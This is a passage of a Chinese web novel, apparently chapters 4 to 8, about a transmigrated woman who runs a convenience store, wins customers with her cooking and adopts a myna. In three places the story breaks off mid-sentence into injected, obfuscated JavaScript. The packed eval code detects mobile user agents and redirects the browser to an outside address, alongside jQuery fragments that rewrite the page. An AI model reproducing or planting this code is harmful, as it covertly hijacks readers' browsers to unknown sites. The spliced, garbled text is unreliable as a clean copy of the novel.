明清欢话落,八哥依旧叫个不停,而且声音越发清脆,她不得不转头给它个眼神,随即见它像是在讨食,直接起身拿了半个馒头放到纸箱里让它吃个够。 馒头进纸箱后八哥终于安静下来,明清欢也能好好看电视。 下午三点多时,有住在附近的老人溜达过来,见她在看电视,自来熟地搬着店内板凳坐在旁边跟着看。 老人姓赵,跟明老爷子算是熟人,以前没事经常来店里找他聊天。今天他下意识过来玩,等到店才想起来,又有一个老伙计先走一步。 不过来都来了,赵老爷子也不急着走,边看电视边关心几句老伙计的孙女。 明清欢按照原主记忆喊了声“赵爷爷”,接下来就是对方问一句答一句,态度很客气。 “你这是准备养鸟吗?正好我家有个旧笼子,我待会给你拿过来。”赵老爷子注意到纸箱里的八哥后说。 “谢谢赵爷爷,不用了,我没准备养,等它好了就准备放出去。” 接下来赵老爷子委婉关心了几句,他是好心,不过明清欢很久没接受过这种关心,感觉还挺不自在,直到人离开时才不自觉松口气。 发现八哥不知什么时候在纸箱里睡着了,脑袋还靠在没吃完的馒头上,明清欢轻轻将纸箱换个更合适的地方放好,随即起身准备活动活动。 “要买菜吗?有荠菜、小白菜,还有自家走地鸡下的土鸡蛋。” 有推着三轮车到处卖菜的老人看到站在店门口的明清欢,慢下脚步开始推销起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075121|163332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 人生七十古来稀,在大齐时七十岁老人都很难见到。明清欢望着面前头发全白了,但精神看起来还不错的老人,边打量三轮车里的菜边随即问:“老人家,你今年高寿?” 老人反应一会才明白她是问自己多大岁数,抬手比了个“八”和“三”。 得知老人已经八十三岁,明清欢着实有些惊讶,随即看太阳已经落山,干脆将车上菜都买了。 老人卖完菜很是高兴,在她店里买了包盐和一袋棉花糖,说是带回去给孙女吃。 明清欢店里其实不缺鸡蛋,昨天明二叔过来送的那几板鸡蛋都还没吃多少,不过店里有煮茶叶蛋的锅,以前明老爷子会顺便煮点茶叶蛋卖,倒是不怕家里鸡蛋太多。 至于荠菜,只有一把的分量,明清欢见还挺嫩,干脆直接拿去厨房包饺子晚上吃。 开春是吃荠菜的好时节,翠绿的荠菜加上肥瘦相间的猪肉调成饺子馅,再揉好面擀好饺子皮,没多久一个个形状完美又饱满的饺子就从明清欢手里蹦出来。 她做起事情来速度又快又有条理,太阳落山时才开始包,等到外面路灯亮起时,一个个大饺子已经在锅里起起伏伏,荠菜特有的清香混着肉鲜味从厨房飘出来,简直能香死个人。 “老板你在煮饺子吗?好香啊!” 有过来买东西的顾客闻见味,香得都有点不想走,可惜脸皮到底不够厚,没好意思蹭一口,问清楚是什么馅的饺子后,回家喊“妈”去。 煮饺子过程中明清欢做了两单生意,等顾客离开后,终于能吃上刚出锅的荠菜饺子。 皮薄馅大的饺子躺在碗里,热气腾腾间能隔着饺子皮看到饺子馅的绿色,那清新的颜色搭配,看着就令人特别有食欲。 “老板,你这饺子卖吗?” 有刚下班的工作党本来是准备买桶泡面回去当晚餐,然而到前台付账时,闻着荠菜饺子特有的香味,手里的泡面顿时就不香了。 明清欢还没来得及拒绝,就见面前顾客双手合十,露出拜托拜托的表情:“老板就卖一碗给我吧,我好久没吃饺子了……” 她确实好久没吃饺子,但真不是没饺子吃,而是过年时家里煮的饺子她自己不想吃。当然,她家过年没包饺子,是直接买的速冻饺子,跟明清欢这自己连皮都是自己擀的饺子自然没得比。 只能说有勇气的人先享受美食,明清欢晚上煮的饺子不少,见她诚心诚意要买,到底还是松口卖给她一碗。 周瑶瑶性格很开朗,成功买到饺子就跟明清欢交换了姓名,得知饺子是她自己做的时,更是把她夸到天上去。 “这是我这辈子吃过的最美味的饺子,饺子皮滑嫩不失韧劲,饺子馅更是鲜香爽口,你也太厉害了,竟然能做出这么好吃的饺子!” 周瑶瑶两口吃掉一个饺子,鲜嫩中带着微微回甜的荠菜配上肉的鲜美完美融合,咀嚼间内馅的汁水在嘴里爆发,简直好吃到她有点想哭。 本来还后悔租房租早了,导致刚找的工作通勤时间有点长,现在就冲这口荠菜饺子,她忽然就觉得在这附近租房子也挺好。 5. 第5章 明清欢很久没包过饺子,她感觉今天这饺子馅调得还不够完美,不过看到旁边一口接一口,吃得别提多香的周瑶瑶,有点被感染到,进食速度跟着加快不少。 荠菜饺子味道层次特别丰富,饺子皮的麦香,荠菜的清香,肉的鲜香,简直吃在嘴里鲜进心里。 大街上,不少人闻见若有似无的饺子香,有被馋到。 “好香啊!好像是荠菜饺子,要不我们晚上吃饺子吧?” “行。” 后面又有顾客到侠客便利店买东西,看到吃得头也不抬的周瑶瑶还以为她也是店里人,虽然有被馋到,不过没表现出来。 而周瑶瑶终于吃完碗里饺子连饺子汤也没放过,咕噜咕噜喝完,原汤化原食的感觉舒坦的她差点没打个饱嗝。 太好吃了! 吃饱喝足,周瑶瑶回味着嘴里的余味,上一天班产生的班味都被这碗美味饺子驱散不少,感觉格外神清气爽。 她想着吃了人家如此美味的饺子得多照顾点生意,起身开始在货架上挑选起来。 买了点零食饮料放到收银台上后,周瑶瑶注意到旁边那个玻璃柜台上贴的内容,仔细打量起来。 便利店面积不小,被隔开的厨房先不提,剩下三分之二的面积都是货架,三分之一除了收银柜台外,就是一长排带玻璃的长柜。 长柜带保温效果,最开始明父还在世时,这里早上会放馒头、包子等早餐卖,中午和晚上则有快餐。不过随着明父去世,加上店里生意越来越差,明老爷子只早上自己蒸点馒头卖,中午炒点菜蒸点放在里面随便卖卖。 长柜底下还贴着之前卖快餐的宣传图片,不过实际上从去年开始,精力已经越来越不好的明老爷子就已经停止卖快餐,只每天蒸点馒头放着卖。 “老板,你这还卖快餐?” 正在算账的明清欢闻言,抬头看一眼后说:“之前卖过。” “那现在还卖吗?”周瑶瑶想到刚刚那碗荠菜饺子,觉得饺子都能做得如此美味,她做的菜肯定也好吃。 她话落,还不等明清欢回答就期待地再次开口:“明天有快餐吗?有的话我骑共享单车都要来你这吃!” “明天没有。”明清欢说完将算完账的零食装进袋子里,并告诉她价钱。 周瑶瑶边扫码付账边说:“那什么时候有?你加我个微信吧,有快餐时通知我,我一定要来尝尝。” 现代的扫码收付款都让明清欢暗暗消化很久才接受如此便捷的方式,加好友什么的,哪怕有原主的记忆她依旧不是很熟练,掏出手机点半天。 好在周瑶瑶没多想,成功加到好友后笑得很开心:“有快餐卖时一定要给我发消息哦。” “好。”明清欢见她如此喜欢自己的手艺,想想还是多说了一句,表示早上有馒头和茶叶蛋卖。 比起馒头周瑶瑶更爱吃包子,不过她倒是没扫兴,而是捧场地点头表示那她明天过来买早餐。 等人走后,明清欢去厨房收拾一下碗筷,出来看了眼纸箱里的八哥,见它把剩下的馒头又吃了不少,此时窝在箱子里成小小一团,想想拿块毛巾给它垫着就继续坐下来守店。 晚上没什么生意,不过有早上卖馒头那会赚到的钱,便利店今天整体收入还不错。 月落日升,转眼又是新的一天,明清欢从楼上下来时就听见清脆的鸟叫声,立刻想起昨天那只八哥。 一夜过去,原本有点焉头焉脑的小八哥已经重新梳理好羽毛,看起来重新恢复活力。在明清欢站在纸箱前时,它甚至扑腾着翅膀飞起来,想往她肩膀上落。 然而小八哥却是低估明清欢的警惕性及手速,还没挨到她肩膀就被她伸手握住。 “老实呆着。” 明清欢举着小八哥说完,将它重新放回纸箱里,想着等会把店门打开就放飞它。 将纸箱盖起来,她去厨房仔细洗干净手,开始揉面做馒头,同时趁着醒面的功夫,顺手拿出锅开始煮茶叶蛋。 昨天她买的那篮子鸡蛋有三十多个,明清欢想着干脆全部煮掉,于是开始动手。 随着外面天色彻底亮起来,有人顺着祥云街走到侠客便利店大门口,见门虽然还没开,但已经能闻见馒头特有的香味,以及一股更加浓郁的鲜香,不假思索地开始敲门。 “老板,老板在不?” “稍等。” 店内明清欢听到声音有点疑惑谁那么早来敲门,但还是边应声边来开门。 “老板我要买十个馒头,每种各来五个。” 门一打开,敲门的顾客顿时被扑鼻而来的香味勾起肚子里的馋虫,边往里走边说,说完又问:“老板,除了馒头你还做什么了?闻起来好香。” “馒头还要一会才出锅,还煮了茶叶蛋。”明清欢见店内光线不够亮,将灯暂时打开。 “那我还要三个茶叶蛋。” 顾客说完也不用她招呼,直接找椅子坐下来开始等。 几分钟后馒头蒸到火候,明清欢从厨房里直接连着蒸笼端出来放到玻璃柜里,又将那锅茶叶蛋拿出来。 由于昨天馒头卖得好,后面还有回头客想买没买到,她今天馒头做得更多一些,因此将蒸笼里的馒头腾出来又去厨房里蒸上第二锅。 一个个或白胖胖或黄灿灿的馒头被堆在一起,卖相就足够诱人,更别说那股瞬间浓郁起来的香味。 眼见又来了好几个人进店,原本椅子上的顾客坐不住了,赶紧起身站到最前面,免得别人跟她抢。 “这刚出炉的馒头看着就好吃,老板给我来五个。” “老板你家馒头可真好吃,昨天买回去家里人都喜欢吃,今天我多买点,给我来十五个。” “今天还有茶叶蛋,看起来还不错,我要六个馒头,再来三个茶叶蛋。” 明清欢刚给最先来的那位顾客装好馒头和茶叶蛋,陆续又有好几个人走进店里,基本上都是昨天买过馒头的回头客。 在她开始卖早餐时,纸箱里的八哥许是闻见香味,仰着脑袋叫个不停,惹得顾客们下意识张望起来。 明清欢见它叫个没完,抽空剥了个茶叶蛋,一大半自己塞嘴里吃掉,一小半丢进纸箱里。 果然,鸡蛋丢进箱子里后八哥瞬间就安静下来,只有隐约的啄食声。 除了有个顾客随口说了句“老板你还养鸟啊”的话外,其他顾客注意力还是在馒头和茶叶蛋上,都觉得这家店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075122|163332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的馒头好,茶叶蛋看起来也很不错。 “今天有茶叶蛋?那我要一个茶叶蛋两个馒头,再加瓶牛奶,营养正正好。”昨天来买过馒头吃的年轻人见今天有鸡蛋,高兴地加了个蛋后直接站在店里吃起来。 深褐色的茶叶蛋上布满裂纹,深深浅浅的裂纹看起来像大理石纹理一样漂亮,同时散发出浓郁而诱人的香气。 刚出锅的茶叶蛋很烫,但年轻人却是在香味诱惑下,像是有着双无情铁手,三下五除二就剥掉蛋壳,露出里已经染上调料颜色的蛋白。 年轻人张口咬下去,第一反应就是香! 吸收茶叶香和调料味的蛋白吃起来格外鲜嫩,鲜美中不失清爽,等吃到蛋黄部分时,那绵密的口感,咸鲜适中的味道,好吃到他嘴巴根本停不下来,不知不觉就将整个茶叶蛋全部吃完。 他以前也吃过茶叶蛋,但外面那些鸡蛋要么煮的时间太长,调料味重到有点齁人,要么就是只有蛋壳有味道,里面根本没入味。 刚刚那个茶叶蛋吃完,他只觉得从没吃过这么美味的茶叶蛋,边回味边开口:“老板再给我来两个,不,三个茶叶蛋!” “你都买了我们买什么去?” “别插队,后面排队去。” 锅里茶叶蛋本来就不多,此时只剩下二十来个的样子,见他吃完又跑来买,还在排队的几个顾客立刻不干了。 周瑶瑶过来时就听见这几句话,边惊讶于还有人比自己来得早,边赶紧跑过去排队。 “好香啊!”刚刚在门口她就闻见香味,此时站在柜台前,馒头香和茶叶蛋的鲜香更是让她肚子瞬间咕咕叫起来。 刚刚那个年轻人吃茶叶蛋吃得太香,以至于让排队的其他顾客发现茶叶蛋不光闻着香,味道估计也很不错,于是纷纷都多买了几个。 周瑶瑶看到他们你买三个,我买五个,最少的人也买了两个,生怕到自己时就没有茶叶蛋。好在她运气不错,等排到她时还剩最后两个蛋。 “我要两个茶叶蛋,还要两个馒头,再拿瓶牛奶。” 周瑶瑶平常一餐最多吃一个鸡蛋,不过她闻着茶叶蛋那么香,觉得吃不完留着中午吃也挺好,直接将两个都买下来。 比她还后来的顾客发现茶叶蛋没有了,忍不住开口让她再煮点。 锅里现成的调料在,再煮点并不麻烦,明清欢表示如果她愿意等可以再煮一锅。 周瑶瑶听到她们的对话,庆幸自己来的时间正好,脚步轻快地走出便利店。 从这到她公司骑电动车要二十分钟,作为刚入职的新人,她宁愿早到也不敢迟到,只能忍着早餐香味对她的诱惑,先扫了个共享单车出发。 周瑶瑶从来不知道原来馒头和茶叶蛋也能那么诱人,在早餐的香味诱惑下,她比昨天早三分钟到公司,还完车就迫不及待开始吃早餐。 先吃个馒头垫垫肚子,那松软筋道的口感以及玉米特有的清香,还有咬下去产生的饱腹感,满足得她脑袋都微微晃起来。 等吃到茶叶蛋时,茶叶的清香、酱油特有的浓郁香气,再配上各种调料的辛香,好吃到她根本停不下来。等反应过来时,两个茶叶蛋已经全部被解决掉,甚至她还有点意犹未尽。 6. 第6章 两个茶叶蛋下肚,周瑶瑶有点后悔没起早点,这样就能多买几个茶叶蛋,她感觉如此美味的茶叶蛋,自己能一口气吃十个都不会腻。 然而事实是她就买到两个蛋,吃完只能开始吃馒头,本来以为吃过茶叶蛋这种美味,馒头会显得寡淡,没想到刚入口那滋味就让她眼睛瞬间亮起来。 其实她平常不是很爱吃馒头,总感觉馒头属于很无趣的那类食物,但此时此刻,她却是吃得停不下来。 她边吃边走,等解决完最后一口馒头人已经到达工位上,刚落座旁边就有同事开口问:“你吃什么了?好香啊。” “馒头和茶叶蛋。”周瑶瑶回答的同时还在不自觉回味。 “馒头和茶叶蛋有这么香?” “对啊,我买了白馒头和玉米馒头,吃起来松软又筋道,茶叶蛋也好吃,连蛋黄都煮入味了……”吃到美味的周瑶瑶分享欲很强,但她感觉不知道怎么用语言夸赞这种好吃,只能尽量描述。 同事被她说馋了,想到有好久没吃过馒头和茶叶蛋,随口道:“那我明天也买点当早餐。” 周瑶瑶闻言正想说什么,结果就看到领导过来,赶紧打开电脑进入工作状态。 与此同时,侠客便利店。 明清欢今天做的馒头比较多,难得在附近的人买了一圈后还剩十来个,倒是茶叶蛋,她煮了三锅都全部卖光,搞得店里都不剩多少鸡蛋。 忙活完,她按照原主的记忆打电话联系人送点鸡蛋过来,随即才有空管还在纸箱里的八哥。 纸箱刚打开吃饱喝足的八哥就发出清脆叫声,看起来就比昨天有精神。在明清欢伸手去抓它时,它非但没躲,甚至主动跳进她手心。 还挺乖。 乖巧的小动物总是更讨人喜欢,明清欢伸手摸两下它脑袋,随即走到门边抬起手:“走吧。” 她想要放飞八哥,然而小家伙非但不走,反而转身顺着她掌心往她胳膊上走。 不等它爬到肩膀上,明清欢伸手重新将它撸进手里,检查两下确定它翅膀没问题,直接抬手将它抛向天空。 被抛出去的八哥终于张开翅膀飞起来,然而在半空中扑腾两下就重新落到明清欢肩膀上,歪着脑袋发出啾啾声。 见它像是赖上自己一样,明清欢偏头注视着它,看在它还算乖巧的份上,最终还是没硬赶它走,而是将它重新放到纸箱里,再将纸箱敞开放到门边的凳子上,让它去留随意。 今天是个难得的好天气,温暖而不晒人的阳光洒在身上,让人感觉不出去走走都浪费这大好天气。 明清欢将八哥安顿好后,没再跟前两天一样坐下来就看电视,而是走出门就近转悠起来。 便利店两边分别是童装店和鞋店,她扫两眼就继续往前走,不过没走远,只在自家店附近转悠。 这条街好多都是老店,不少人都认识明清欢,在看到她终于愿意出来走动走动,有人热情和她搭话,夸她青出于蓝,馒头做得比她爷爷的手艺还好吃。 明清欢客气两句,顺手在路边菜摊买了点菜就又溜达回店里,去厨房准备午餐。 早上顾客来得太快,她都没空坐下来吃早餐,就抽空吃了两个馒头一个茶叶蛋。中午她决定要好好炒两个菜,于是切好肉打了鸡蛋,很快做出两菜一汤。 厨房里有好多外婆菜,泡发清洗干净的外婆菜加上鸡蛋配上辣椒等调料一起炒,那香味别提多诱人。 至于肉,是明二叔之前送过来的腊肉,配上蒜苗、小米辣下锅加上调料,腊肉特有的香味和香辣气息融合在一起,再配上蒜香,光闻味道就令人特别有食欲。 外婆菜炒鸡蛋、蒜苗炒腊肉再加上菌菇汤,在明清欢做饭过程中,香味源源不断从厨房飘出去。等她把菜做好端出来时,不光引得纸箱里的八哥跳到柜台上,还有人顺着香味找过来。 “老板在吃饭呢?” 来人说完不等明清欢回答,就继续开口道:“我还以为附近开了新餐馆,没想到是老板你自家做饭那么香。” 被吸引过来的人有好几个,发现这是便利店不是餐馆后都有点失望,不过来都来了也不好意思空手出去,于是都随便在店里买了点东西。 等这批客人买完东西离开时,吴佑南小跑进来,扑鼻而来的菜香让她下意识吞咽两下口水,随即才掏钱表示要买馒头。 “还是要六个吗?”明清欢边拿袋子边询问。 吴佑南:“同学都说你做的馒头好吃,让我帮忙带,所以要买十五个。” 同学嫌远不愿意自己来买,说让她帮忙带,她犹豫两秒还是实话实说,告诉同学这家馒头是一块五两个。不过同学夸完好划算后,主动表示要多给她两块钱当帮买费用,她帮五个同学带馒头,有十块钱的路费拿。 “只剩十三个馒头了。” 明清欢话落,吴佑南点头表示十三个也行。 馒头装好后明清欢没直接给她,而是拿个一次性碗装了点外婆菜炒鸡蛋一起递过去:“你买的馒头多,送你点小菜。” “谢谢姐姐。”吴佑南看她两眼,伸手接过来认真道谢。 等她买完馒头离开,明清欢重新坐下来准备吃饭,结果才吃没几口就又有顾客进来。 刚刚八哥飞过来时,她给了点米饭让它消停着待在旁边吃着。此时八哥已经啄完饭,趁她注意力转移到进门的顾客身上时,立刻跳到菜盘旁。 明清欢眼睛都没看它,直接在它嘴要伸进菜盘里时挥手用内劲将它推出去,准确地落入不远处的纸箱内。 八哥发现到嘴边的肉不见了,眼前重新看到纸箱,整只鸟转了两圈,豆豆眼里似乎有点懵。 “老板你们家有快餐卖?什么时间卖?” 被饭菜香味吸引过来,顺手买瓶饮料的顾客指着玻璃柜台问。 “暂时还没有。”明清欢说完又补充,“饮料三块钱一瓶。” 顾客边扫码付款边询问:“那什么时候有?是和你吃的一样的吗?” “过段时间吧。” 明清欢说完目送这几个顾客离开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075123|163332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不由端起碗加快进食速度。 被炒得微微焦黄的腊肉配上翠绿的蒜苗,卖相诱人就算了,吃起来更是美味。咸香适中,微微带着烟熏口感的腊肉越嚼越香,瘦肉的紧实和肥肉的油脂混合在一起,再配上爽口的蒜苗,吃起来又香又解腻。 外婆菜炒鸡蛋同样很下饭,外婆菜爽脆的口感加上鸡蛋的滑嫩,吃起来口感特别丰富。 就着两道下饭菜快速解决掉碗里米饭,明清欢慢条斯理地开始喝汤。 她胃口是真好,两菜一汤全部吃得干干净净,吃完才有功夫给缓过劲来仰着脑袋在纸箱里叫个不停的八哥投喂了点吃食。 今天这个饭点她店里生意格外好,与此同时,吴佑南回到学校,将带回来的馒头分给几个同学。 “你们怎么都吃馒头?” 有昨天中午不在教室的学生看到她们人手两个馒头,有点奇怪。 “这可不是普通馒头,这是超级好吃的馒头。” 昨天吃过馒头的女生举着玉米馒头说。 又昨天没吃过馒头,出于好奇让吴佑南帮忙带馒头的学生低头咬了一口,眼睛瞬间亮起来:“确实好吃,真奇怪,这馒头明明也不是很甜,为什么这么好吃?” “吴佑南你怎么还有菜?闻起来好香啊!” 吴佑南倒是不小气,开口道:“你要来点夹在馒头里吃吗?” 几个买了馒头的学生闻言凑过来分享起来,还真别说,馒头单吃好吃,夹上咸鲜适中的外婆菜炒鸡蛋后口感变得更加丰富。 “好好吃啊!” “这个菜也是在店里买的吗?跟馒头简直是绝配。” 吴佑南想说是老板送的,但又怕说了下次她们还想有菜送,便没接话,只大口大口吃着夹菜的馒头。 她难得中午吃到这种美味,心情都不自觉变得愉悦起来,再想到今天帮忙带馒头赚到十块钱,眼睛都微微弯起来,倒是难得这么高兴。 好在那个学生也只是随口说说,下一秒就重新沉浸在美味中。 教室里还有学生在吃从食堂打的午餐,看到她们凑在一起吃得那么香,感觉手里的饭菜更加食之无味。 接下来几天,明清欢店里早餐卖得越来越好,她每天做多少馒头煮多少茶叶蛋都能全部卖光光。与此同时她每天做午餐、晚餐时香味都会吸引好多人,大家都在关心什么时候能有快餐卖。 被问的次数多了,明清欢想着反正都要做饭,稍微多做点顺便卖快餐好像也不麻烦,终于开始准备卖快餐事宜。 要卖快餐就得先准备食材,祥云街街口附近就有不少摆摊卖菜的摊贩,旁边的巷子里还有肉铺和水产店,买菜倒是方便。 这天下午明清欢决定将店暂时关一会,抽空将提前将第二天需要的食材买一下。 她刚准备锁门,肩膀上瞬间多出一点点重量,她转头就看见八哥歪着脑袋望着自己。 放飞几次都没成功把它放出去,被这鸟赖上的明清欢瞧着它装乖的模样,到底还是带着它一起出门。 7. 第7章 今天是周六,街上有好多孩子跟着家长出来玩。 明清欢刚从店门口走没多远,有小孩眼尖地注意到她肩膀上那只八哥。 “妈妈看,有鸟!” 有孩子只是兴奋地和家长分享,有孩子却胆子很大,直接跑到明清欢面前来。 “姐姐,这是你养的鸟吗?” 明清欢微微点头:“对。” “哇,姐姐你真厉害,竟然会养鸟,它是什么鸟?” “是八哥。” 明清欢对小孩子倒是挺有耐心,停下脚步回答对方问题,甚至临时起了个“小八”的名字告诉她。 “姐姐拜拜,小八拜拜~” 小朋友还挺有礼貌,被家长叫走之前还跟她挥手说再见。 目送她离开,明清欢不由将在现代见到的孩子与大齐对比,感叹还是生在此世的孩子有福气。 穿越这些日子她不光是窝在店里看电视,还把手机给摸清楚了,震惊完现代科技的厉害后,发现网上什么内容都有人分享,她还刷了不少做菜视频。 说实话,看到网上那些手把手教人做菜的视频,她感叹现代人大方的同时,也有些手痒,所以才会决定开始卖快餐。 出来前她心里已经想好大概菜单,现在买起食材来倒是很有条理。 “要买点藕吗?现挖的鲜藕。” 明清欢本来没准备买藕,听到卖菜的人招呼下意识看过去,发现摊子上莲藕确实不错,干脆买了些。 她力气大,本来买的菜都准备自己拎回去,不过卖菜的人看她一个小姑娘买那么多菜,很热心地表示可以帮忙送上门。 明清欢效率很高,两个小时不到就买完菜回家,在厨房里将食材整理归纳,把该放冰箱冰柜的食材全部放进去。 “你怎么这么馋?” 她回来时见外面有卖甘蔗的,顺手买了点放到柜台上,结果整理好东西出来就看到八哥站在甘蔗旁边用鸟喙啄啄啄。 它听见明清欢声音就躲到一边去,一副恨不得把脑袋埋进翅膀里的心虚感。 明清欢还要再教育它几句时,赵老爷子拎着个鸟笼从外面进来:“小明啊,这笼子我洗过了,来送给你养八哥。” 老爷子跟她爷爷是朋友,喊她爷爷老明,喊她就下意识叫小明。换做一般年轻人听到这个称呼肯定不乐意,然而明清欢哪怕有原主记忆也毕竟不是土生土长的现代人,还真没发现这个称呼有什么问题。 之前老爷子就提过要送她鸟笼,明清欢没想到他真拿过来,赶紧开口表示不用。 “我放在家里也没用,这八哥我瞧着挺有灵性,养着也不费什么粮食,既然待在你店里不走,还是有个笼子比较方便。”赵老爷子以前养过鸟,他瞧这只八哥怎么看怎么喜欢,觉得明清欢要是不养都替她可惜。 见老爷子是诚心要送,明清欢又客气几句后到底还是接受对方好意。不过她不想白要,猜到对方估计不肯收钱,从厨房里拿出昨天刚包的饺子递过去。 得知是她自己包的饺子,赵老爷子伸手接过道:“你馒头蒸得好吃,饺子肯定不会差,那我就不跟你客气了。” 饺子已经被明清欢放到冰箱里冻过,老爷子拎着那袋饺子便没有在店里多待,又跟她说几句养鸟的技巧就回家去。 目送他离开,明清欢将笼子找个合适的位置放好,见里面有食盆和水盆,往里面添上水和粮。 八哥好奇心重,没等她动手就自己好奇地钻进笼子里,待在里面喝两口水又飞出来。 这几日它待在店里并不乱拉,而是知道飞出去店外解决,因此明清欢犹豫两秒,还是决定先不关鸟笼。 周六学生们都放假了,便利店里生意明显比前几天要好,尤其小孩都喜欢动物,发现店里有八哥,很容易被吸引进来。 明清欢在忙着做生意时,吴家。 晚饭时间,一家四口正坐在餐桌前吃饭,家里小儿子各种嫌菜不好吃。 吴佑南听着弟弟的声音只觉得吵闹,埋头大口大口吃着饭菜。 吴父吴母说了儿子几句后,吴母看向安静的女儿,给她夹了一筷子鸡蛋:“钱够用不?” 学校食堂一碗素汤粉都要四块一碗,就是最便宜的馒头都要一块钱,五块钱吃三餐怎么可能够用。 然而吴佑南还没开口,旁边吴父边吃菜边说:“早上起早点能在家里吃,五块钱吃两餐有什么不够的,我们那时候……” 吴佑南哪不想在家里吃早餐,但家里位置偏,走路去学校要差不多一个小时,她得四五点就起床才不会迟到。 可即便她愿意那么早起床自己做早餐,她爸却会嫌她吵,而且家里又不是每天都有东西让她做早餐吃。 吴佑南知道说也没用,只心里想着。反正现在她能在侠客便利店买到又便宜又好吃的馒头,还能赚点同学的跑腿费,最近这个星期已经比之前过得要好很多。 吴父吴母又不是不用花钱,怎么可能不知道现在的物价。他们心里知道委屈了女儿,但想着儿子以后结婚肯定得有房子,宁愿让女儿委屈点也要攒钱。 “我下周每天再给你加一块钱,你省着点花。”吴母说完又道,“等明年去你学校附近租个房子搬过去,到时候你就可以回家吃饭。” “嗯。”吴佑南明年就读初三,初三很关键,但她知道家里搬家才不可能是为自己,不过是因为弟弟马上也要升初中。 今天晚餐有炒鸡蛋和肉,但她忽然觉得肉好像也没那么香,还没有便利店里的馒头好吃。 以前恨不得天天放假的吴佑南低头扒着碗里的饭菜,忽然开始盼起星期一来。 日子总是要一天一天过,比星期一先来的是星期天。 今天早上明清欢蒸了三百个馒头和两锅茶叶蛋,九点不到就全部卖光。 早餐卖完,明清欢目送顾客们离开,转身去厨房做快餐。 毕竟是刚开始尝试,她准备做三个菜,两荤一素,先看看好不好卖。 在她处理食材时,有人上门来买东西,他 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接下来明清欢起锅开火,准备开始炒菜。即便已经不是第一次用,她还是觉得燃气灶实在是很方便,省去烧火的麻烦不说,火候也更好掌握。 她先给排骨焯水,随即开始炒糖色,炒制过程中不光肉香越来越浓郁,排骨更是渐渐被染上糖色,那红亮的色泽看起来很是漂亮。 明清欢做菜如行云流水一般利落,根本没有多余动作,糖色炒完就下入八角、香叶等调料开始炖煮。 炖排骨过程中她没闲着,将调好的肉馅填进豆腐里,用另外一口锅开始将豆腐放下去小火慢煎。 豆腐被油一煎,豆腐特有的香味完全被激发出来,更别说旁边还炖着锅排骨,两种香味缓缓从厨房飘出去,很快就引来只小馋鸟。 “啾啾~” 之前明清欢做饭时八哥想往厨房里钻被她教训过,现在它倒是不敢再往厨房里扑腾,便在厨房外面飞来飞去地叫个不停。 明清欢搞不懂它一只鸟怎么会如此馋,等把豆腐煎好开始上锅蒸时,抽空弄了点没什么调料的肉馅煮熟放到笼子里,把它哄进去后顺便把笼子门暂时关上。 把鸟关进笼子里,她重新回到厨房,将红烧排骨大火收汁,接着开始给藕丝混上淀粉进行油炸。 厨房里一阵阵香味不停飘出来,顺着店铺飘向大街,闻见的路人都不自觉开始吞咽口水。 吃饭不积极,思想有问题,周瑶瑶昨天收到明清欢通知,得知店里今天有快餐卖,十一点不到就跑过来,还没进门就被诱人的香味勾得肚子咕咕叫起来。 “好香啊!老板你在做什么好吃的?” 周瑶瑶人还没进店声音已经传进厨房里,明清欢边做着锅里的干煸藕条边回答她。 “我可以看看吗?”周瑶瑶询问,得到许可才凑到厨房门口,扑鼻而来的浓郁香味令她陶醉得眼睛都差点闭上。 陶醉完,她第二反应才开始感叹厨房里的卫生够干净整洁,觉得自己真是找到宝藏店铺! 8. 第8章 “老板能吃饭了吗?我口水都快下来了……” 又在厨房门口站一会,红烧排骨特有的肉香,豆腐酿肉的鲜香,以及干煸藕丝的藕香,周瑶瑶感觉简直要被馋哭,脸上露出“饿饿,饭饭”的表情。 明清欢闻言,伸手拿了个一次性餐盒开始打饭打菜,想着先让她尝尝味道也行。 餐盒是长方形那种,里面分出四个小格子,正好能容纳米饭加三个菜。店里有两箱这种一次性快餐盒,是之前卖快餐时剩下没用完的。 色泽红亮的排骨看起来卖相十足,炒过糖色再经过炖煮,肉香更加醇厚,看着就令人很有食欲。 先煎后蒸的豆腐酿肉将豆腐的清香与肉鲜味完美融合,表面煎得微微金黄的豆腐与肉馅组成一幅漂亮的画卷。 刚出锅的干煸藕丝更不用说,经过油炸的藕丝色泽金黄,散发出炸货特有的香气,不过经过煸炒后它看起来却是并不油腻,阵阵藕香好像在诱惑人赶紧咬上一口。 三样菜各有各的诱人就算了,餐盒里的米饭同样看起来卖相十足,雪白晶莹的米粉泛着微微光泽,米香味没有肉香那么霸道,却闻着就令人特别满足。 周瑶瑶接过饭,筷子都没拆开就低头先叼块红烧排骨进嘴,还没开始咀嚼,味蕾品尝到排骨上裹的酱汁味,鲜得她差点没咬到舌头。 